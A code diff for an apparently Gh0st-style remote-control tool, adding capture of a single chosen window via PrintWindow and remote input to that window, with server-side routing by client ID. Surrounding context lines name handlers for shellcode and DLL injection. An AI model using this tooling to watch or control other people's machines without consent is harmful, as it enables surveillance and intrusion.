Feat: window capture via PrintWindow with server-side HWND routing by clientID

client/ScreenCapture.h

@@ -170,6 +170,7 @@ public:
 
     // 感兴趣区域 (ROI)
     RECT            m_ROI = {0,0,0,0};
+    bool            m_bNeedRestart = false; // 捕获对象需要重建（如窗口尺寸变化）
     int             m_nScaleSendWidth  = 0;
     int             m_nScaleSendHeight = 0;
 
@@ -859,6 +860,7 @@ public:
     void ensureEncoder(int width, int height)
     {
         if (m_encoder) return;
+        if (width < 2 || height < 2) return; // x264 做偶数对齐 &~1，1→0，触发内部 strdup 泄漏；< 2 一并拦住
         EncoderRequest req;
         req.width        = width;
         req.height       = height;

client/ScreenManager.cpp

@@ -471,6 +471,12 @@ void CScreenManager::InitScreenSpy()
             DXGI = param->buffer[0];
             algo = param->length > 1 ? param->buffer[1] : algo;
             all = param->length > 2 ? param->buffer[2] : all;
+            // buffer[3..10]: HWND(uint64_t)，启动时直接指定窗口捕获
+            if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd) {
+                uint64_t hwnd64 = 0;
+                memcpy(&hwnd64, param->buffer + 3, sizeof(uint64_t));
+                if (hwnd64) m_hTargetWnd = (HWND)(UINT_PTR)hwnd64;
+            }
         }
         m_pUserParam = param;
     } else {
@@ -481,6 +487,11 @@ void CScreenManager::InitScreenSpy()
     if (level >= 0 && level < QUALITY_COUNT) {
         algo = m_QualityProfiles[level].algorithm;
     }
+    // 窗口捕获必须走 GDI（PrintWindow），ScreenCapturerDXGI 无窗口捕获能力
+    if (m_hTargetWnd && DXGI == USING_DXGI) {
+        DXGI = USING_GDI;
+        Mprintf("CScreenManager: 窗口捕获模式，强制 GDI\n");
+    }
     // 保存屏幕类型，服务端用于判断是否显示虚拟桌面相关菜单
     m_ScreenSettings.ScreenType = DXGI;
     Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level);
@@ -531,12 +542,12 @@ void CScreenManager::InitScreenSpy()
         } else {
             SAFE_DELETE(s);
             m_isGDI = TRUE;
-            m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
+            m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd);
             Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
         }
     } else {
         m_isGDI = TRUE;
-        m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
+        m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd);
     }
 }
 
@@ -698,6 +709,12 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
             }
             This->SendNextScreen(szBuffer, ulNextSendLength);
         }
+        // 窗口捕获：尺寸变化时在工作线程内原地重建，无需跨线程同步
+        if (This->m_ScreenSpyObject && This->m_ScreenSpyObject->m_bNeedRestart) {
+            SAFE_DELETE(This->m_ScreenSpyObject);
+            This->InitScreenSpy();
+            This->m_SendFirst = FALSE; // 触发重发 BitmapInfo + 首帧
+        }
     }
     timeEndPeriod(1);
     Mprintf("ScreenWorkThread Exit\n");
@@ -831,6 +848,25 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         }
         break;
     }
+    case COMMAND_SCREEN_WINDOW: {
+        // [mode:1][data] — mode=0x00 按标题, mode=0x01 按 HWND(uint64_t), 其余=恢复全屏
+        BYTE mode = (ulLength > 1) ? szBuffer[1] : 0xFF;
+        if (mode == 0x00 && ulLength > 2) {
+            const char* title = (const char*)(szBuffer + 2);
+            m_hTargetWnd = title[0] ? FindWindowA(NULL, title) : NULL;
+            Mprintf("[CScreenManager] 窗口捕获(标题): '%s' -> HWND=%p\n", title, m_hTargetWnd);
+        } else if (mode == 0x01 && ulLength >= 2 + sizeof(uint64_t)) {
+            uint64_t val = 0;
+            memcpy(&val, szBuffer + 2, sizeof(uint64_t));
+            m_hTargetWnd = (HWND)(UINT_PTR)val;
+            Mprintf("[CScreenManager] 窗口捕获(HWND): 0x%llx -> HWND=%p\n", val, m_hTargetWnd);
+        } else {
+            m_hTargetWnd = NULL;
+            Mprintf("[CScreenManager] 窗口捕获取消，恢复全屏\n");
+        }
+        RestartScreen();
+        break;
+    }
     case COMMAND_ENCODE_LEVEL: {
         int encodeLevel = szBuffer[1];
         iniFile cfg(CLIENT_PATH);
@@ -2047,9 +2083,12 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
         }
     }
 
-    // 窗口捕获模式：只能查看，不能控制
+    // 窗口捕获模式：点击前先将目标窗口置前，确保 SendInput 落到正确的窗口上
-    if (m_ScreenSpyObject && m_ScreenSpyObject->GetTargetWindow()) {
+    if (m_ScreenSpyObject) {
-        return;
+        HWND hwndTarget = m_ScreenSpyObject->GetTargetWindow();
+        if (hwndTarget && IsWindow(hwndTarget) && !IsIconic(hwndTarget)) {
+            SetForegroundWindow(hwndTarget);
+        }
     }
 
     for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {

client/ScreenManager.h

@@ -64,6 +64,7 @@ public:
     BOOL  m_bIsWorking;
     BOOL  m_bIsBlockInput;
     RECT  m_ROI = {0};
+    HWND  m_hTargetWnd = NULL;  // 窗口捕获目标（NULL=全屏）
     BOOL  m_SwitchScreen = TRUE;
     BOOL SendClientClipboard(BOOL fast);
     VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);

client/ScreenSpy.cpp

@@ -12,12 +12,34 @@
 // Construction/Destruction
 //////////////////////////////////////////////////////////////////////
 
-CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level, 
+CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
-    RECT rc, BOOL switchScreen) :
+    RECT rc, BOOL switchScreen, HWND hwnd) :
     ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen)
 {
+    m_hTargetWnd = hwnd;
     m_GOP = gop;
 
+    // 窗口捕获模式：用 DWM 真实边界覆盖基类的全屏尺寸，并缓存阴影偏移量
+    if (hwnd) {
+        RECT wndRc = {}, frameRc = {};
+        GetWindowRect(hwnd, &wndRc);
+        if (SUCCEEDED(DwmGetWindowAttribute(hwnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
+            m_ShadowLeft = frameRc.left - wndRc.left;
+            m_ShadowTop  = frameRc.top  - wndRc.top;
+        } else {
+            frameRc = wndRc;
+        }
+        m_ulFullWidth  = frameRc.right  - frameRc.left;
+        m_ulFullHeight = frameRc.bottom - frameRc.top;
+        m_CachedWndW = wndRc.right  - wndRc.left;
+        m_CachedWndH = wndRc.bottom - wndRc.top;
+        m_iScreenX = frameRc.left; // 窗口左上角在屏幕上的绝对坐标，供 PointConversion 使用
+        m_iScreenY = frameRc.top;
+        m_bZoomed  = false;
+        Mprintf("CScreenSpy: 窗口捕获 HWND=%p 尺寸=%dx%d shadow=(%d,%d)\n",
+                hwnd, m_ulFullWidth, m_ulFullHeight, m_ShadowLeft, m_ShadowTop);
+    }
+
     m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
 
     iniFile cfg(CLIENT_PATH);
@@ -138,6 +160,64 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
 
 VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
 {
+    if (m_hTargetWnd) {
+        // 最小化：不绘制，hdcDest 保留上一帧内容（远程端看到冻结画面）
+        if (IsIconic(m_hTargetWnd)) return;
+
+        // 检测窗口尺寸变化：GetWindowRect 廉价，每帧调用；
+        // DwmGetWindowAttribute 较重，仅在 GetWindowRect 尺寸稳定后才调用。
+        // 防抖策略：拖拽 resize 期间尺寸持续变化，冻结画面等待稳定 300ms 后再重建，
+        // 避免拖拽过程中每帧重建 DIBSection / 重发 BitmapInfo / 重置编解码器。
+        static const DWORD RESIZE_DEBOUNCE_MS = 300;
+        RECT fullRc = {};
+        GetWindowRect(m_hTargetWnd, &fullRc);
+        // 窗口每帧都可能移动，实时更新屏幕偏移，保证 PointConversion 坐标正确
+        m_iScreenX = fullRc.left + m_ShadowLeft;
+        m_iScreenY = fullRc.top  + m_ShadowTop;
+        int w = fullRc.right - fullRc.left;
+        int h = fullRc.bottom - fullRc.top;
+        if (w != m_CachedWndW || h != m_CachedWndH) {
+            // 尺寸有变化：更新防抖记录
+            if (w != m_PendingWndW || h != m_PendingWndH) {
+                m_PendingWndW = w;
+                m_PendingWndH = h;
+                m_SizeChangeTick = GetTickCount();
+            }
+            // 尚未稳定：冻结当前帧，继续等待
+            if (GetTickCount() - m_SizeChangeTick < RESIZE_DEBOUNCE_MS)
+                return;
+            // 稳定 300ms：查询 DWM 真实帧边界，决定是否重建
+            RECT frameRc = fullRc;
+            if (SUCCEEDED(DwmGetWindowAttribute(m_hTargetWnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
+                m_ShadowLeft = frameRc.left - fullRc.left;
+                m_ShadowTop  = frameRc.top  - fullRc.top;
+            } else {
+                m_ShadowLeft = m_ShadowTop = 0;
+            }
+            if ((ULONG)(frameRc.right - frameRc.left) != m_ulFullWidth ||
+                (ULONG)(frameRc.bottom - frameRc.top) != m_ulFullHeight) {
+                Mprintf("CScreenSpy: 窗口尺寸变化 %dx%d -> %dx%d，触发重建\n",
+                    m_ulFullWidth, m_ulFullHeight,
+                    frameRc.right - frameRc.left, frameRc.bottom - frameRc.top);
+                m_bNeedRestart = true;
+                return;
+            }
+            m_CachedWndW = w;
+            m_CachedWndH = h;
+        }
+
+        // PrintWindow → 临时 DC → BitBlt 到目标（用缓存的阴影偏移跳过 DWM 扩展帧）
+        HDC hTmp = m_data.GetWindowDC();
+        HBITMAP hOld = (HBITMAP)SelectObject(hTmp, m_data.GetWindowBmp());
+        BOOL ok = PrintWindow(m_hTargetWnd, hTmp, PW_RENDERFULLCONTENT);
+        if (!ok) ok = PrintWindow(m_hTargetWnd, hTmp, 0);
+        if (ok) {
+            BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hTmp, m_ShadowLeft, m_ShadowTop, SRCCOPY);
+        }
+        SelectObject(hTmp, hOld);
+        return;
+    }
+
     if (m_bVirtualPaint) {
         // 先用深色填充背景，避免窗口移动时留下残影
         RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight };

client/ScreenSpy.h

@@ -95,10 +95,24 @@ protected:
 
     BOOL					m_bVirtualPaint;// 是否虚拟绘制
     EnumHwndsPrintData		m_data;
+    HWND                    m_hTargetWnd = NULL; // 窗口捕获目标（NULL=全屏）
+    int                     m_ShadowLeft = 0;   // DWM 阴影左偏移（frameRc.left - fullRc.left），帧间缓存
+    int                     m_ShadowTop  = 0;   // DWM 阴影上偏移（frameRc.top  - fullRc.top），帧间缓存
+    int                     m_CachedWndW = 0;   // 上帧 GetWindowRect 宽度，用于检测 resize 无需每帧调 DWM
+    int                     m_CachedWndH = 0;   // 上帧 GetWindowRect 高度
+    int                     m_PendingWndW = 0;  // 防抖：检测到尺寸变化后记录的新宽度
+    int                     m_PendingWndH = 0;  // 防抖：检测到尺寸变化后记录的新高度
+    DWORD                   m_SizeChangeTick = 0; // 防抖：尺寸上次变化的时间戳（GetTickCount）
 
 public:
-    CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE, 
+    CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
-        int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE);
+        int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL);
+
+    virtual HWND GetTargetWindow() const override { return m_hTargetWnd; }
+
+    // 窗口模式下 m_ulFullWidth/Height 是窗口尺寸，但 SendInput 的 dx/dy 分母必须是屏幕尺寸
+    virtual int GetScreenWidth()  const override { return m_hTargetWnd ? GetSystemMetrics(SM_CXSCREEN) : m_ulFullWidth; }
+    virtual int GetScreenHeight() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CYSCREEN) : m_ulFullHeight; }
 
     virtual ~CScreenSpy();
 

client/X264Encoder.cpp

@@ -68,6 +68,9 @@ bool CX264Encoder::open(int width, int height, int fps, int crf)
 
 bool CX264Encoder::open(x264_param_t * param)
 {
+    // x264_encoder_open 在 0×0 时已完成 x264_param_strdup 才报错，需在此拦截
+    if (param->i_width < 2 || param->i_height < 2) return false;
+
     m_pPicIn  = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
     m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
 

common/commands.h

@@ -304,6 +304,7 @@ enum {
     TOKEN_DRIVE_LIST_PLUGIN = 150,	// 文件管理(插件)
     TOKEN_DRAWING_BOARD=151,		// 画板
     COMMAND_SCREEN_ROI = 152,       // 屏幕区域
+    COMMAND_SCREEN_WINDOW = 153,    // 窗口捕获（标题字符串，空串=恢复全屏）
 
     TOKEN_DECRYPT = 199,
     TOKEN_REGEDIT = 200,            // 注册表

server/2015Remote/2015RemoteDlg.cpp

@@ -890,6 +890,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_MESSAGE(WM_TRIAL_WAN_IP_ABUSE, OnTrialWanIpAbuse)
     ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
     ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
+    ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
     ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
     ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
     ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
@@ -10273,6 +10274,30 @@ void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid)
     SAFE_DELETE(tinyRun);
 }
 
+LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
+{
+    // wParam: new char[2 * sizeof(uint64_t)]，前 8 字节为 clientID，后 8 字节为 HWND(uint64_t)
+    char* arg = (char*)wParam;
+    uint64_t clientID = 0, hwnd64 = 0;
+    memcpy(&clientID, arg,                    sizeof(uint64_t));
+    memcpy(&hwnd64,   arg + sizeof(uint64_t), sizeof(uint64_t));
+    delete[] arg;
+    auto ctx = FindHost(clientID);
+    if (!ctx) return S_FALSE;
+
+    // 窗口捕获只能走 GDI（PrintWindow），忽略用户的 DXGI 设置
+    BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
+    CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
+    // [0]=COMMAND_SCREEN_SPY [1]=DXGI(强制GDI) [2]=algo [3]=all [4..11]=HWND(uint64_t)
+    BYTE bToken[32] = { COMMAND_SCREEN_SPY, (BYTE)USING_GDI,
+                        (BYTE)(algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString())),
+                        (BYTE)all };
+    memcpy(bToken + 4, &hwnd64, sizeof(uint64_t));
+    screenParamModifier(ctx, bToken);
+    ctx->Send2Client(bToken, sizeof(bToken));
+    return S_OK;
+}
+
 LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
 {
     char* ip = (char*)wParam;

server/2015Remote/2015RemoteDlg.h

@@ -510,6 +510,7 @@ public:
     afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
     afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
     afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
+    afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam);
     afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
     LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
     afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);

server/2015Remote/SystemDlg.cpp

@@ -55,6 +55,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
     ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin)
     ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
     ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen)
+    ON_COMMAND(ID_WLIST_VIEW, &CSystemDlg::OnWlistView)
 END_MESSAGE_MAP()
 
 
@@ -638,3 +639,28 @@ void CSystemDlg::OnPlistAntiBlackScreen()
     memcpy(arg + 256, arch, arch.GetLength());
     m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID);
 }
+
+void CSystemDlg::OnWlistView()
+{
+    int nItem = m_ControlList.GetSelectionMark();
+    if (nItem < 0) return;
+    auto data = (ItemData*)m_ControlList.GetItemData(nItem);
+    if (!data) return;
+
+    // 最小化的窗口 PrintWindow 不会被调用，远程端只能看到黑屏
+    if (data->Data[2] == "minimized") {
+        MessageBoxAPI_L(m_hWnd, "该窗口已最小化，请先还原后再查看。", "提示", MB_ICONINFORMATION);
+        return;
+    }
+
+    // 布局: [clientID: uint64_t][HWND: uint64_t]，共 16 字节
+    // 使用子连接的 clientID 而非 IP，以确保多客户端同 IP 时路由正确
+    char* arg = new char[2 * sizeof(uint64_t)]();
+    uint64_t clientID = m_ContextObject->GetClientID();
+    uint64_t hwnd64 = (uint64_t)(UINT_PTR)(HWND)(UINT_PTR)data->ID;
+    memcpy(arg,                    &clientID, sizeof(uint64_t));
+    memcpy(arg + sizeof(uint64_t), &hwnd64,   sizeof(uint64_t));
+
+    ASSERT(m_pParent);
+    m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0);
+}

server/2015Remote/SystemDlg.h

@@ -48,4 +48,5 @@ public:
     afx_msg void OnSize(UINT nType, int cx, int cy);
     afx_msg void OnPlistInject();
     afx_msg void OnPlistAntiBlackScreen();
+    afx_msg void OnWlistView();
 };

server/2015Remote/lang/en_US.ini

@@ -1933,3 +1933,5 @@ FRPC Զ
 卸载软件=Uninstall Software
 是否移除此软件？=Uninstall this software. Are you sure?
 [安全提示] 请设置Web访问密码!!!=[Security Warning] Please set web password!!!
+查看=View Window
+该窗口已最小化，请先还原后再查看。=The window is minimized. Please restore it before viewing.

server/2015Remote/lang/zh_TW.ini

@@ -1924,3 +1924,5 @@ FRPC Զ
 卸载软件=卸载软件
 是否移除此软件？=是否移除此软件？
 [安全提示] 请设置Web访问密码!!!=[安全提示] 请设置Web访问密码!!!
+查看=查看
+该窗口已最小化，请先还原后再查看。=該視窗已最小化，請先還原後再查看。

server/2015Remote/resource.h

@@ -1000,6 +1000,8 @@
 #define ID_VIEW_HIDE_LOG                33061
 #define ID_33062                        33062
 #define ID_COPY_CLIENT_INFO             33063
+#define ID_WLIST_33064                  33064
+#define ID_WLIST_VIEW                   33065
 #define ID_EXIT_FULLSCREEN              40001
 
 // Next default values for new objects
@@ -1007,7 +1009,7 @@
 #ifdef APSTUDIO_INVOKED
 #ifndef APSTUDIO_READONLY_SYMBOLS
 #define _APS_NEXT_RESOURCE_VALUE        389
-#define _APS_NEXT_COMMAND_VALUE         33064
+#define _APS_NEXT_COMMAND_VALUE         33066
 #define _APS_NEXT_CONTROL_VALUE         2542
 #define _APS_NEXT_SYMED_VALUE           105
 #endif

server/2015Remote/stdafx.h

@@ -109,6 +109,7 @@
 #define WM_ONLINE_HOSTNUM				WM_USER+3039
 #define WM_SPLITTER_MOVED               WM_USER+3040
 #define WM_SPLITTER_RELEASED            WM_USER+3041
+#define WM_OPEN_WINDOW_SCREEN           WM_USER+3042  // 窗口管理→打开指定窗口远程画面
 
 #ifdef _UNICODE
 #if defined _M_IX86